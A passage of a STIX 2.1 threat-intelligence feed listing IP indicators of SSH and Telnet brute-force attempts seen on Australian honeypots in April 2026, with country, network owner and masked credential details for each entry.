      "type": "indicator",
      "valid_from": "2026-04-11T06:15:03.000Z",
      "valid_until": "2026-05-13T06:15:02.000Z"
    },
    {
      "created": "2026-04-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, u****u, 3**********4. Passwords observed (masked): 3***********4, 3**********4, P**********6, Q**********!, R******8.",
      "id": "indicator--4a44db0d-3a45-4e0a-ba83-12f63325ef5b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.223.94.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:15:03.000Z",
      "valid_until": "2026-05-13T06:15:02.000Z"
    },
    {
      "created": "2026-04-11T06:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 17665. Organisation(s): ONEOTT INTERTAINMENT LIMITED. Usernames observed (masked): a***n, r**t, 3**********4, u**r. Passwords observed (masked): 3***********4, 3**********4, a********@, *, t******4.",
      "id": "indicator--1f697eea-5128-4b97-99aa-9dc982ad038c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.118.106.54']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:15:03.000Z",
      "valid_until": "2026-05-13T06:15:02.000Z"
    },
    {
      "created": "2026-04-11T06:15:03.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 22, 23. Source country: RU. ASN(s): 210259. Organisation(s): LLC Applied Computational Technologies.",
      "id": "indicator--6a4cf02f-4f5c-42a7-a890-cbec26368e05",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T06:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.100']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T06:15:03.000Z",
      "valid_until": "2026-05-13T06:15:02.000Z"
    },
    {
      "created": "2026-04-11T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 17. Sensors involved: Cowrie. Target ports: 22. Source country: CH. ASN(s): 51852. Organisation(s): Private Layer INC.",
      "id": "indicator--08620171-a554-4338-b8a4-8d393d441a83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.43.177.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:15:03.000Z",
      "valid_until": "2026-05-13T07:15:02.000Z"
    },
    {
      "created": "2026-04-11T07:15:03.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. Usernames observed (masked): m*****r, s*****t, u**r. Passwords observed (masked): m*****r, s*****t, u**r.",
      "id": "indicator--57243fa8-96e1-445b-b134-a7eb319137a2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T07:15:03.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.38.41.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T07:15:03.000Z",
      "valid_until": "2026-05-13T07:15:02.000Z"
    },
    {
      "created": "2026-04-11T08:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: KR. ASN(s): 9318. Organisation(s): SK Broadband Co Ltd. Usernames observed (masked): r**t. Passwords observed (masked): k***********!.",
      "id": "indicator--7998725b-b6bf-4020-8f03-594bc5ae805c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T08:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '1.234.75.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:15:43.000Z",
      "valid_until": "2026-05-13T08:15:08.000Z"
    },
    {
      "created": "2026-04-11T08:15:43.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--7f4697ab-259f-4966-ac60-247553a52b86",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T08:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '125.41.243.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:15:43.000Z",
      "valid_until": "2026-05-13T08:15:08.000Z"
    },
    {
      "created": "2026-04-11T08:15:43.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 6400. Organisation(s): Compania Dominicana de Telefonos S. A..",
      "id": "indicator--d297e199-967f-4c3d-8bd8-1331c233cad3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T08:15:43.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '179.53.48.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T08:15:43.000Z",
      "valid_until": "2026-05-13T08:15:08.000Z"
    },
    {
      "created": "2026-04-11T09:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 197. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 24186. Organisation(s): RailTel Corporation of India Ltd. Usernames observed (masked): r**t, a***n, u****u, 3**********4, ***. Passwords observed (masked): 1******1, 1******r, 1******r, 1**********x, 3***********4.",
      "id": "indicator--af20f529-197e-4c2a-b47f-cab6d3a9ba8a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T09:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.199.203.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T09:15:04.000Z",
      "valid_until": "2026-05-13T09:15:02.000Z"
    },
    {
      "created": "2026-04-11T10:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--bcc091c3-abea-425f-99b7-ed9dda4e8a81",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T10:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:15:07.000Z",
      "valid_until": "2026-05-13T10:15:02.000Z"
    },
    {
      "created": "2026-04-11T10:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--2ed3ed07-c19e-40eb-8e47-0ce2d82ad92f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T10:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.186.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:15:07.000Z",
      "valid_until": "2026-05-13T10:15:02.000Z"
    },
    {
      "created": "2026-04-11T10:15:07.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--8ce29ab2-4f13-4ea0-8fda-3c8851507542",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T10:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.41']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T10:15:07.000Z",
      "valid_until": "2026-05-13T10:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - SSH & Telnet / Observed authentication attempts via ssh, telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22, 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): A*******************p, G************1, U*******************************x. Passwords observed (masked): , A**********, H**********************3.",
      "id": "indicator--cefa8ced-6672-4a0d-93c1-e3f250f8169b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '138.197.101.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: DE. ASN(s): 216039. Organisation(s): EdgeSec Technologies Limited.",
      "id": "indicator--1f70e36c-4f9c-44d3-a5b6-5d07fb225ec3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.31.220.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PE. ASN(s): 3132. Organisation(s): Red Cientifica Peruana. Usernames observed (masked): r**t. Passwords observed (masked): 1********0.",
      "id": "indicator--a0935a63-47e1-433d-bf42-46170c249b71",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '161.132.4.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--1b87f097-e73d-45bc-aadc-7fbf42519d95",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 15. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): a***n, r**t. Passwords observed (masked): 1****6, a***n, r*****k, z*******g.",
      "id": "indicator--f7b9d75d-b028-4ed1-b3de-3c97cff10bda",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.221.11.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--67e22cd6-8f53-405c-8d80-7ff18db4e515",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.167.169.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T11:15:04.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--8ec33c5b-4232-420b-8906-5a1acd8a2014",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T11:15:04.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '72.255.33.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T11:15:04.000Z",
      "valid_until": "2026-05-13T11:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 142383. Organisation(s): PT Vaiotech Lintas Nusantara. Usernames observed (masked): **, 3**********4, ***, r**t, u***5. Passwords observed (masked): 1**4, 3***********4, 3**********4, D**$, Q******3.",
      "id": "indicator--6b9d3faa-1a98-43ab-8bac-457d13e3fb6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.172.20.218']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 95. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): **, 3**********4, r**t, t*****r, u***2. Passwords observed (masked): 1**4, 3***********4, 3**********4, **, p******d.",
      "id": "indicator--4a424a86-4e3b-4236-838e-95bcfbd53343",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.23.198.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 479. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): r**t, a***n, s*****t, u**t, u**r. Passwords observed (masked): a***n, 1**4, 1****6, a******3, 0*************7.",
      "id": "indicator--7f93f567-c51a-45ba-8123-3fb66a362b63",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '116.99.168.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): a*****c. Passwords observed (masked): t**t.",
      "id": "indicator--38dfe868-f87b-4e49-b8c8-ad6e182391e0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '118.196.27.130']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 8075. Organisation(s): Microsoft Corporation. Usernames observed (masked): r**t, u****u, 3**********4, **, a***n. Passwords observed (masked): 3***********4, 3**********4, 2**********V, 6***6, F*****1.",
      "id": "indicator--932633ac-90dc-490b-a3cd-dd13e335a3d3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '135.235.138.43']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 113. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, n********r, 3**********4, f****r, p******s. Passwords observed (masked): *, 1*******F, 3***********4, 3**********4, 9****9.",
      "id": "indicator--7ffff8c3-18ab-4dd6-af9c-4a27d0ce1c5a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.154.6.34']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 459. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): a***n, r**t, t**t, d*******r, u**r. Passwords observed (masked): p******d, 1**4, 1****6, a***n, 1***5.",
      "id": "indicator--e126122e-b933-404e-bffd-467bcf1d9589",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '171.243.149.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 270603. Organisation(s): R R DE FRANCA SOUSA. Usernames observed (masked): r**t, u****u, 3**********4, **, a***n. Passwords observed (masked): 3***********4, 3**********4, 2**********V, 6***6, F*****1.",
      "id": "indicator--27b5bc13-2f83-4bb8-b38b-d1ce8890c1b1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '177.85.247.230']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 119. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MY. ASN(s): 18206. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD.. Usernames observed (masked): r**t, s*********t, 3**********4, ***, c****e. Passwords observed (masked): 1**5, 3***********4, 3**********4, A*******A, B***9.",
      "id": "indicator--f416799a-2355-46cd-a3d3-3a1af52e882f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '202.165.15.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 21. Sensors involved: Cowrie. Target ports: 23. Source country: ID. ASN(s): 7713. Organisation(s): PT Telekomunikasi Indonesia. Usernames observed (masked): r**t. Passwords observed (masked): ***, i**b.",
      "id": "indicator--f5747cd7-13be-40b6-ae8f-2d79299e9d46",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '36.92.154.210']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 398324. Organisation(s): Censys, Inc..",
      "id": "indicator--ab8eb317-13f7-481a-8e8e-6e8cb98811ea",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '66.132.172.129']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IT. ASN(s): 12874. Organisation(s): Fastweb. Usernames observed (masked): r**t, u****u, 3**********4, **, a***n. Passwords observed (masked): 3***********4, 3**********4, 2**********V, 6***6, F*****1.",
      "id": "indicator--3a67f3bc-9803-4639-b91d-b935476503fc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '93.39.209.147']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T12:15:05.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: RU. ASN(s): 25513. Organisation(s): PJSC Moscow city telephone network.",
      "id": "indicator--9689c4d2-c8df-4d32-ab8a-8bb8127cd601",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T12:15:05.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '95.165.8.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T12:15:05.000Z",
      "valid_until": "2026-05-13T12:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 191. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, u****u, m*****d, u**r, 3**********4. Passwords observed (masked): !******x, 3*****t, 3***********4, 3**********4, A****3.",
      "id": "indicator--7632d995-c143-4f5c-8936-49bba983c3d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.171.85.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-11T13:15:07.000Z",
      "valid_until": "2026-05-13T13:15:02.000Z"
    },
    {
      "created": "2026-04-11T13:15:07.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 291. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 9498. Organisation(s): BHARTI Airtel Ltd.. Usernames observed (masked): r**t, s***m, u****u, 3**********4, a***n. Passwords observed (masked): 3***********4, 3**********4, ***, 1******4, 1***************@.",
      "id": "indicator--adaf75fe-424e-4fa1-964b-97d65b212ff3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-11T13:15:07.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
